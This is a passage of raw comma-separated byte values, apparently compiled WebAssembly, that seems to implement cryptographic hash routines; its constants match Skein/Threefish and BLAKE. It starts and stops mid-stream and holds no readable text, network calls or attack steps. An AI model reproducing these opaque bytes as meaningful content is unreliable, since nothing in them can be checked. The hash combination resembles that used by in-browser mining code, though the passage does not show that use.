34,7,54,2,0,32,7,69,4,64,32,24,32,24,40,2,0,65,1,106,54,2,0,11,32,2,65,64,106,33,7,32,1,65,192,0,106,33,1,32,2,65,255,0,74,4,64,32,7,33,2,12,1,11,11,32,3,36,4,11,175,27,2,5,127,27,126,32,3,173,33,29,32,2,65,127,106,173,33,30,32,0,65,8,106,34,3,41,3,0,34,31,33,27,32,0,65,16,106,34,4,41,3,0,33,25,32,0,65,48,106,34,5,41,3,0,33,22,32,0,65,40,106,34,6,41,3,0,33,16,32,0,65,32,106,34,7,41,3,0,33,23,32,0,65,24,106,34,8,41,3,0,33,17,3,64,32,27,32,29,124,34,27,32,25,133,33,14,32,1,65,32,106,33,0,32,1,41,0,16,34,32,32,25,32,16,124,34,18,124,32,1,41,0,24,34,33,32,22,124,34,15,124,33,24,32,15,66,16,134,32,15,66,48,136,132,32,24,133,34,15,32,1,41,0,0,34,34,32,17,124,32,1,41,0,8,34,35,32,27,32,23,124,34,20,124,34,19,124,34,10,124,33,9,32,15,66,52,134,32,15,66,12,136,132,32,9,133,34,15,32,19,66,14,134,32,19,66,50,136,132,32,10,133,34,19,32,24,124,34,21,124,33,24,32,15,66,40,134,32,15,66,24,136,132,32,24,133,34,10,32,19,66,57,134,32,19,66,7,136,132,32,21,133,34,15,32,9,124,34,9,124,33,19,32,15,66,23,134,32,15,66,41,136,132,32,9,133,34,9,32,24,124,34,11,32,14,32,22,124,34,24,124,32,22,66,162,180,240,207,170,251,198,232,27,133,32,16,133,32,23,133,32,17,133,34,15,66,1,124,32,10,66,5,134,32,10,66,59,136,132,32,19,133,124,34,10,124,33,21,32,10,66,33,134,32,10,66,31,136,132,32,21,133,34,10,32,19,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,11,133,32,18,124,34,19,124,34,11,124,33,9,32,10,66,46,134,32,10,66,18,136,132,32,9,133,34,10,32,19,66,25,134,32,19,66,39,136,132,32,11,133,34,19,32,21,124,34,11,124,33,21,32,10,66,22,134,32,10,66,42,136,132,32,21,133,34,10,32,19,66,12,134,32,19,66,52,136,132,32,11,133,34,19,32,9,124,34,11,124,33,9,32,19,66,58,134,32,19,66,6,136,132,32,11,133,34,11,32,21,124,34,12,32,15,32,27,124,34,19,124,32,17,66,2,124,32,10,66,32,134,32,10,66,32,136,132,32,9,133,124,34,10,124,33,21,32,10,66,16,134,32,10,66,48,136,132,32,21,133,34,10,32,9,32,16,124,32,11,66,32,134,32,11,66,32,136,132,32,12,133,32,24,124,34,9,124,34,12,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,21,124,34,12,124,33,21,32,10,66,40,134,32,10,66,24,136,132,32,21,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,21,124,34,13,32,25,32,17,124,34,21,124,32,23,66,3,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,19,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,23,124,34,26,124,32,16,66,4,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,21,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,16,124,34,28,124,32,22,66,5,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,25,32,22,124,34,26,124,32,15,66,6,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,14,124,34,28,124,32,17,66,7,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,17,124,34,26,124,32,23,66,8,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,25,32,23,124,34,28,124,32,16,66,9,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,16,124,34,26,124,32,22,66,10,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,22,124,34,28,124,32,15,66,11,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,25,124,34,26,124,32,17,66,12,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,12,32,14,32,17,124,34,13,124,32,23,66,13,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,26,124,34,9,124,34,12,124,33,11,32,14,66,46,134,32,14,66,18,136,132,32,11,133,34,14,32,9,66,25,134,32,9,66,39,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,9,66,12,134,32,9,66,52,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,12,133,34,9,32,10,124,34,12,32,20,124,32,16,66,14,124,32,14,66,32,134,32,14,66,32,136,132,32,11,133,124,34,14,124,33,10,32,14,66,16,134,32,14,66,48,136,132,32,10,133,34,14,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,12,133,32,13,124,34,9,124,34,12,124,33,11,32,14,66,52,134,32,14,66,12,136,132,32,11,133,34,14,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,40,134,32,14,66,24,136,132,32,10,133,34,14,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,10,124,34,12,32,18,124,32,22,66,15,124,32,14,66,5,134,32,14,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,20,124,34,20,124,34,11,124,33,9,32,14,66,46,134,32,14,66,18,136,132,32,9,133,34,14,32,20,66,25,134,32,20,66,39,136,132,32,11,133,34,20,32,10,124,34,11,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,20,66,12,134,32,20,66,52,136,132,32,11,133,34,20,32,9,124,34,11,124,33,9,32,20,66,58,134,32,20,66,6,136,132,32,11,133,34,20,32,10,124,34,10,32,24,124,32,15,66,16,124,32,14,66,32,134,32,14,66,32,136,132,32,9,133,124,34,15,124,33,14,32,15,66,16,134,32,15,66,48,136,132,32,14,133,34,15,32,9,32,23,124,32,20,66,32,134,32,20,66,32,136,132,32,10,133,32,18,124,34,18,124,34,9,124,33,20,32,15,66,52,134,32,15,66,12,136,132,32,20,133,34,15,32,18,66,14,134,32,18,66,50,136,132,32,9,133,34,18,32,14,124,34,9,124,33,14,32,15,66,40,134,32,15,66,24,136,132,32,14,133,34,15,32,18,66,57,134,32,18,66,7,136,132,32,9,133,34,18,32,20,124,34,9,124,33,20,32,18,66,23,134,32,18,66,41,136,132,32,9,133,34,18,32,14,124,34,14,32,19,124,32,17,66,17,124,32,15,66,5,134,32,15,66,59,136,132,32,20,133,124,34,17,124,33,15,32,17,66,33,134,32,17,66,31,136,132,32,15,133,34,17,32,20,32,16,124,32,18,66,37,134,32,18,66,27,136,132,32,14,133,32,24,124,34,16,124,34,18,124,33,14,32,16,66,25,134,32,16,66,39,136,132,32,18,133,34,16,32,15,124,33,15,32,16,66,12,134,32,16,66,52,136,132,32,15,133,34,16,32,14,124,33,18,32,16,66,58,134,32,16,66,6,136,132,32,18,133,34,16,32,17,66,46,134,32,17,66,18,136,132,32,14,133,34,17,32,15,124,34,15,124,33,14,32,8,32,17,66,22,134,32,17,66,42,136,132,32,15,133,34,24,32,18,124,34,18,32,22,124,32,34,133,34,17,55,3,0,32,7,32,16,66,32,134,32,16,66,32,136,132,32,14,133,32,19,124,32,35,133,34,15,55,3,0,32,6,32,14,32,21,124,32,32,133,34,16,55,3,0,32,5,32,23,66,18,124,32,24,66,32,134,32,24,66,32,136,132,32,18,133,124,32,33,133,34,22,55,3,0,32,25,66,255,255,255,255,255,255,255,255,191,127,131,33,25,32,2,65,127,106,34,2,4,64,32,0,33,1,32,15,33,23,12,1,11,11,32,3,32,31,32,30,66,1,124,32,29,126,124,55,3,0,32,4,32,25,55,3,0,11,178,23,2,59,127,45,126,35,4,33,4,35,4,65,192,2,106,36,4,32,4,32,0,65,8,106,34,8,41,3,0,34,64,55,3,0,32,4,65,8,106,34,6,32,0,65,16,106,34,9,41,3,0,34,63,55,3,0,32,3,173,33,91,32,4,65,24,106,33,5,32,4,65,32,106,33,10,32,4,65,40,106,33,11,32,4,65,48,106,33,12,32,4,65,56,106,33,13,32,4,65,192,0,106,33,14,32,4,65,200,0,106,33,15,32,4,65,208,0,106,33,16,32,4,65,216,0,106,33,17,32,4,65,224,0,106,33,18,32,4,65,232,0,106,33,19,32,4,65,240,0,106,33,20,32,4,65,248,0,106,33,21,32,4,65,128,1,106,33,22,32,4,65,136,1,106,33,23,32,4,65,144,1,106,33,24,32,4,65,152,1,106,33,25,32,4,65,16,106,33,26,32,1,33,3,32,64,33,84,32,0,65,24,106,34,27,41,3,0,33,72,32,0,65,32,106,34,28,41,3,0,33,76,32,0,65,40,106,34,29,41,3,0,33,74,32,0,65,48,106,34,30,41,3,0,33,73,32,0,65,56,106,34,31,41,3,0,33,75,32,0,65,192,0,106,34,32,41,3,0,33,70,32,0,65,200,0,106,34,33,41,3,0,33,71,32,0,65,208,0,106,34,34,41,3,0,33,66,32,0,65,216,0,106,34,35,41,3,0,33,77,32,0,65,224,0,106,34,36,41,3,0,33,68,32,0,65,232,0,106,34,37,41,3,0,33,67,32,0,65,240,0,106,34,38,41,3,0,33,69,32,0,65,248,0,106,34,39,41,3,0,33,78,32,0,65,128,1,106,34,40,41,3,0,33,81,32,0,65,136,1,106,34,41,41,3,0,33,65,32,0,65,144,1,106,34,42,41,3,0,33,64,3,64,32,4,32,84,32,91,124,34,82,55,3,0,32,5,32,72,55,3,0,32,10,32,76,55,3,0,32,11,32,74,55,3,0,32,12,32,73,55,3,0,32,13,32,75,55,3,0,32,14,32,70,55,3,0,32,15,32,71,55,3,0,32,16,32,66,55,3,0,32,17,32,77,55,3,0,32,18,32,68,55,3,0,32,19,32,67,55,3,0,32,20,32,69,55,3,0,32,21,32,78,55,3,0,32,22,32,81,55,3,0,32,23,32,65,55,3,0,32,24,32,64,55,3,0,32,25,32,64,66,162,180,240,207,170,251,198,232,27,133,32,65,133,32,81,133,32,78,133,32,69,133,32,67,133,32,68,133,32,77,133,32,66,133,32,71,133,32,70,133,32,75,133,32,73,133,32,74,133,32,76,133,32,72,133,55,3,0,32,26,32,82,32,63,133,55,3,0,65,1,33,1,32,3,41,0,0,34,92,32,72,124,33,72,32,3,41,0,8,34,93,32,76,124,33,76,32,3,41,0,16,34,94,32,74,124,33,74,32,3,41,0,24,34,95,32,73,124,33,73,32,3,41,0,32,34,96,32,75,124,33,75,32,3,41,0,40,34,97,32,70,124,33,70,32,3,41,0,48,34,98,32,71,124,33,71,32,3,41,0,56,34,99,32,66,124,33,66,32,3,41,0,64,34,100,32,77,124,33,77,32,3,41,0,72,34,101,32,68,124,33,68,32,3,41,0,80,34,102,32,67,124,33,67,32,3,41,0,88,34,103,32,69,124,33,69,32,3,41,0,96,34,104,32,78,124,33,78,32,3,41,0,120,34,105,32,64,124,33,63,32,3,41,0,112,34,106,32,65,124,32,6,41,3,0,124,33,64,32,82,32,81,124,32,3,41,0,104,34,107,124,33,65,3,64,32,76,66,24,134,32,76,66,40,136,132,32,76,32,72,124,34,76,133,33,85,32,73,66,13,134,32,73,66,51,136,132,32,73,32,74,124,34,73,133,33,79,32,70,66,8,134,32,70,66,56,136,132,32,70,32,75,124,34,70,133,33,84,32,66,66,47,134,32,66,66,17,136,132,32,66,32,71,124,34,66,133,33,75,32,69,66,17,134,32,69,66,47,136,132,32,69,32,67,124,34,67,133,34,80,32,66,124,33,81,32,63,66,37,134,32,63,66,27,136,132,32,64,32,63,124,34,69,133,34,82,32,70,124,33,71,32,67,32,75,124,34,66,32,75,66,49,134,32,75,66,15,136,132,133,34,83,32,68,66,8,134,32,68,66,56,136,132,32,68,32,77,124,34,64,133,34,72,32,76,124,34,68,124,33,88,32,65,66,22,134,32,65,66,42,136,132,32,65,32,78,124,34,63,133,34,74,32,73,124,34,67,32,69,32,84,124,34,69,32,84,66,23,134,32,84,66,41,136,132,133,34,65,124,34,78,32,65,66,4,134,32,65,66,60,136,132,133,33,86,32,63,32,79,124,34,65,32,79,66,18,134,32,79,66,46,136,132,133,34,75,32,71,124,33,84,32,81,32,64,32,85,124,34,64,32,85,66,52,134,32,85,66,12,136,132,133,34,77,124,34,63,32,77,66,13,134,32,77,66,51,136,132,133,33,79,32,82,66,55,134,32,82,66,9,136,132,32,71,133,34,70,32,65,124,33,71,32,74,66,19,134,32,74,66,45,136,132,32,67,133,34,65,32,69,124,33,77,32,80,66,10,134,32,80,66,54,136,132,32,81,133,34,69,32,64,124,33,67,32,65,66,41,134,32,65,66,23,136,132,32,77,133,34,81,32,63,124,33,82,32,75,66,51,134,32,75,66,13,136,132,32,84,133,34,65,32,72,66,38,134,32,72,66,26,136,132,32,68,133,34,64,32,66,124,34,63,124,33,72,32,70,66,34,134,32,70,66,30,136,132,32,71,133,34,76,32,88,124,34,74,32,5,32,1,65,3,116,106,34,43,41,3,0,124,33,73,32,77,32,79,124,34,75,32,79,66,47,134,32,79,66,17,136,132,133,32,5,32,1,65,1,106,34,7,65,3,116,106,34,44,41,3,0,124,33,79,32,69,66,59,134,32,69,66,5,136,132,32,67,133,34,66,32,78,124,34,69,32,5,32,1,65,2,106,34,0,65,3,116,106,34,45,41,3,0,124,33,70,32,65,66,16,134,32,65,66,48,136,132,32,72,133,32,5,32,1,65,3,106,34,46,65,3,116,106,34,47,41,3,0,124,33,80,32,5,32,1,65,4,106,65,3,116,106,34,48,41,3,0,32,84,32,64,66,17,134,32,64,66,47,136,132,32,63,133,34,68,124,34,78,124,33,65,32,86,66,28,134,32,86,66,36,136,132,32,86,32,67,124,34,64,133,32,5,32,1,65,5,106,65,3,116,106,34,49,41,3,0,124,33,87,32,5,32,1,65,6,106,65,3,116,106,34,50,41,3,0,33,77,32,5,32,1,65,7,106,65,3,116,106,34,51,41,3,0,32,71,32,83,66,33,134,32,83,66,31,136,132,32,88,133,34,67,124,34,63,32,67,66,25,134,32,67,66,39,136,132,133,124,33,85,32,5,32,1,65,8,106,65,3,116,106,34,52,41,3,0,32,64,124,33,71,32,5,32,1,65,9,106,65,3,116,106,34,53,41,3,0,32,68,66,41,134,32,68,66,23,136,132,32,78,133,124,33,83,32,5,32,1,65,10,106,65,3,116,106,34,54,41,3,0,32,72,124,33,64,32,5,32,1,65,11,106,65,3,116,106,34,55,41,3,0,32,66,66,20,134,32,66,66,44,136,132,32,69,133,124,33,72,32,5,32,1,65,12,106,65,3,116,106,34,56,41,3,0,32,63,124,33,66,32,5,32,1,65,13,106,65,3,116,106,34,57,41,3,0,32,81,66,48,134,32,81,66,16,136,132,32,82,133,124,32,4,32,1,65,3,116,106,34,58,41,3,0,124,33,86,32,5,32,1,65,14,106,65,3,116,106,34,59,41,3,0,33,68,32,4,32,7,65,3,116,106,34,60,41,3,0,33,67,32,76,66,5,134,32,76,66,59,136,132,32,74,133,32,1,173,34,88,124,32,5,32,1,65,15,106,65,3,116,106,34,61,41,3,0,124,33,74,32,5,32,1,65,16,106,65,3,116,106,34,62,32,5,32,1,65,127,106,34,7,65,3,116,106,41,3,0,55,3,0,32,4,32,0,65,3,116,106,32,4,32,7,65,3,116,106,41,3,0,34,84,55,3,0,32,79,66,41,134,32,79,66,23,136,132,32,73,32,79,124,34,69,133,33,79,32,80,66,9,134,32,80,66,55,136,132,32,70,32,80,124,34,78,133,33,80,32,87,66,37,134,32,87,66,27,136,132,32,65,32,87,124,34,65,133,33,81,32,85,32,77,124,32,82,124,34,63,32,85,66,31,134,32,85,66,33,136,132,133,33,73,32,72,66,47,134,32,72,66,17,136,132,32,64,32,72,124,34,64,133,34,72,32,63,124,33,76,32,74,66,30,134,32,74,66,34,136,132,32,68,32,75,124,32,67,124,32,74,124,34,63,133,34,74,32,65,124,33,70,32,64,32,73,124,34,77,32,73,66,4,134,32,73,66,60,136,132,133,34,90,32,83,66,12,134,32,83,66,52,136,132,32,71,32,83,124,34,67,133,34,83,32,69,124,34,68,124,33,87,32,63,32,81,124,34,69,32,81,66,42,134,32,81,66,22,136,132,133,34,71,32,86,66,44,134,32,86,66,20,136,132,32,66,32,86,124,34,63,133,34,73,32,78,124,34,78,124,33,75,32,70,32,63,32,80,124,34,64,32,80,66,53,134,32,80,66,11,136,132,133,34,63,124,34,65,32,63,66,47,134,32,63,66,17,136,132,133,33,89,32,76,32,79,66,41,134,32,79,66,23,136,132,32,79,32,67,124,34,63,133,34,66,124,34,67,32,66,66,46,134,32,66,66,18,136,132,133,33,80,32,74,66,51,134,32,74,66,13,136,132,32,70,133,34,66,32,64,124,33,85,32,71,66,44,134,32,71,66,20,136,132,32,75,133,34,70,32,72,66,56,134,32,72,66,8,136,132,32,76,133,34,71,32,63,124,34,63,124,33,86,32,66,66,19,134,32,66,66,45,136,132,32,85,133,34,79,32,87,124,34,81,32,44,41,3,0,124,33,72,32,73,66,34,134,32,73,66,30,136,132,32,78,133,34,66,32,69,124,34,64,32,80,124,34,82,32,80,66,23,134,32,80,66,41,136,132,133,32,45,41,3,0,124,33,76,32,47,41,3,0,32,75,32,71,66,44,134,32,71,66,20,136,132,32,63,133,34,80,124,34,69,124,33,74,32,89,66,37,134,32,89,66,27,136,132,32,89,32,83,66,16,134,32,83,66,48,136,132,32,68,133,34,68,32,77,124,34,63,124,34,78,133,32,48,41,3,0,124,33,73,32,49,41,3,0,32,65,32,68,66,25,134,32,68,66,39,136,132,32,63,133,34,68,124,34,65,124,33,75,32,70,66,31,134,32,70,66,33,136,132,32,86,133,32,50,41,3,0,124,33,70,32,51,41,3,0,32,66,66,42,134,32,66,66,22,136,132,32,64,133,34,83,32,67,124,34,64,124,33,71,32,52,41,3,0,32,85,32,90,66,31,134,32,90,66,33,136,132,32,87,133,34,67,124,34,63,32,67,66,20,134,32,67,66,44,136,132,133,124,33,66,32,53,41,3,0,32,86,124,33,77,32,54,41,3,0,32,65,32,68,66,52,134,32,68,66,12,136,132,133,124,33,68,32,55,41,3,0,32,78,124,33,67,32,56,41,3,0,32,69,32,80,66,48,134,32,80,66,16,136,132,133,124,33,69,32,57,41,3,0,32,63,124,33,78,32,59,41,3,0,32,83,66,35,134,32,83,66,29,136,132,32,64,133,124,32,60,41,3,0,124,33,65,32,82,32,84,124,32,61,41,3,0,124,33,64,32,88,66,1,124,32,79,66,9,134,32,79,66,55,136,132,32,81,133,124,32,62,41,3,0,124,33,63,32,5,32,1,65,17,106,65,3,116,106,32,43,41,3,0,55,3,0,32,4,32,46,65,3,116,106,32,58,41,3,0,55,3,0,32,0,65,21,73,4,64,32,0,33,1,12,1,11,11,32,27,32,72,32,92,133,34,72,55,3,0,32,28,32,76,32,93,133,34,76,55,3,0,32,29,32,74,32,94,133,34,74,55,3,0,32,30,32,73,32,95,133,34,73,55,3,0,32,31,32,75,32,96,133,34,75,55,3,0,32,32,32,70,32,97,133,34,70,55,3,0,32,33,32,71,32,98,133,34,71,55,3,0,32,34,32,66,32,99,133,34,66,55,3,0,32,35,32,77,32,100,133,34,77,55,3,0,32,36,32,68,32,101,133,34,68,55,3,0,32,37,32,67,32,102,133,34,67,55,3,0,32,38,32,69,32,103,133,34,69,55,3,0,32,39,32,78,32,104,133,34,78,55,3,0,32,40,32,65,32,107,133,34,65,55,3,0,32,41,32,64,32,106,133,34,64,55,3,0,32,42,32,63,32,105,133,34,63,55,3,0,32,6,32,6,41,3,0,66,255,255,255,255,255,255,255,255,191,127,131,34,82,55,3,0,32,2,65,127,106,34,2,4,64,32,3,65,128,1,106,33,3,32,4,41,3,0,33,84,32,65,33,81,32,64,33,65,32,63,33,64,32,82,33,63,12,1,11,11,32,8,32,4,41,3,0,55,3,0,32,9,32,82,55,3,0,32,4,36,4,11,212,18,1,34,127,35,4,33,2,35,4,65,192,0,106,36,4,32,2,32,1,45,0,1,65,16,116,32,1,45,0,0,65,24,116,114,32,1,45,0,2,65,8,116,114,32,1,45,0,3,114,54,2,0,32,2,32,1,45,0,5,65,16,116,32,1,45,0,4,65,24,116,114,32,1,45,0,6,65,8,116,114,32,1,45,0,7,114,54,2,4,32,2,32,1,45,0,9,65,16,116,32,1,45,0,8,65,24,116,114,32,1,45,0,10,65,8,116,114,32,1,45,0,11,114,54,2,8,32,2,32,1,45,0,13,65,16,116,32,1,45,0,12,65,24,116,114,32,1,45,0,14,65,8,116,114,32,1,45,0,15,114,54,2,12,32,2,32,1,45,0,17,65,16,116,32,1,45,0,16,65,24,116,114,32,1,45,0,18,65,8,116,114,32,1,45,0,19,114,54,2,16,32,2,32,1,45,0,21,65,16,116,32,1,45,0,20,65,24,116,114,32,1,45,0,22,65,8,116,114,32,1,45,0,23,114,54,2,20,32,2,32,1,45,0,25,65,16,116,32,1,45,0,24,65,24,116,114,32,1,45,0,26,65,8,116,114,32,1,45,0,27,114,54,2,24,32,2,32,1,45,0,29,65,16,116,32,1,45,0,28,65,24,116,114,32,1,45,0,30,65,8,116,114,32,1,45,0,31,114,54,2,28,32,2,32,1,45,0,33,65,16,116,32,1,45,0,32,65,24,116,114,32,1,45,0,34,65,8,116,114,32,1,45,0,35,114,54,2,32,32,2,32,1,45,0,37,65,16,116,32,1,45,0,36,65,24,116,114,32,1,45,0,38,65,8,116,114,32,1,45,0,39,114,54,2,36,32,2,32,1,45,0,41,65,16,116,32,1,45,0,40,65,24,116,114,32,1,45,0,42,65,8,116,114,32,1,45,0,43,114,54,2,40,32,2,32,1,45,0,45,65,16,116,32,1,45,0,44,65,24,116,114,32,1,45,0,46,65,8,116,114,32,1,45,0,47,114,54,2,44,32,2,32,1,45,0,49,65,16,116,32,1,45,0,48,65,24,116,114,32,1,45,0,50,65,8,116,114,32,1,45,0,51,114,54,2,48,32,2,32,1,45,0,53,65,16,116,32,1,45,0,52,65,24,116,114,32,1,45,0,54,65,8,116,114,32,1,45,0,55,114,54,2,52,32,2,32,1,45,0,57,65,16,116,32,1,45,0,56,65,24,116,114,32,1,45,0,58,65,8,116,114,32,1,45,0,59,114,54,2,56,32,2,32,1,45,0,61,65,16,116,32,1,45,0,60,65,24,116,114,32,1,45,0,62,65,8,116,114,32,1,45,0,63,114,54,2,60,32,0,40,2,0,33,11,32,0,65,4,106,34,23,40,2,0,33,12,32,0,65,8,106,34,24,40,2,0,33,14,32,0,65,12,106,34,25,40,2,0,33,15,32,0,65,16,106,34,26,40,2,0,33,1,32,0,65,20,106,34,27,40,2,0,33,3,32,0,65,24,106,34,28,40,2,0,33,4,32,0,65,28,106,34,29,40,2,0,33,5,32,0,65,32,106,34,30,40,2,0,65,136,213,253,161,2,115,33,13,32,0,65,36,106,34,31,40,2,0,65,211,145,140,173,120,115,33,16,32,0,65,40,106,34,32,40,2,0,65,174,148,230,152,1,115,33,17,32,0,65,44,106,34,33,40,2,0,65,196,230,193,27,115,33,18,32,0,40,2,60,4,127,65,162,240,164,160,122,33,9,65,208,227,252,204,2,33,6,65,152,245,187,193,0,33,10,65,137,217,185,226,126,33,7,65,0,5,32,0,40,2,48,34,6,65,162,240,164,160,122,115,33,9,32,6,65,208,227,252,204,2,115,33,6,32,0,40,2,52,34,7,65,152,245,187,193,0,115,33,10,32,7,65,137,217,185,226,126,115,33,7,65,0,11,33,8,3,64,32,1,32,11,106,32,8,65,4,116,65,145,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,144,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,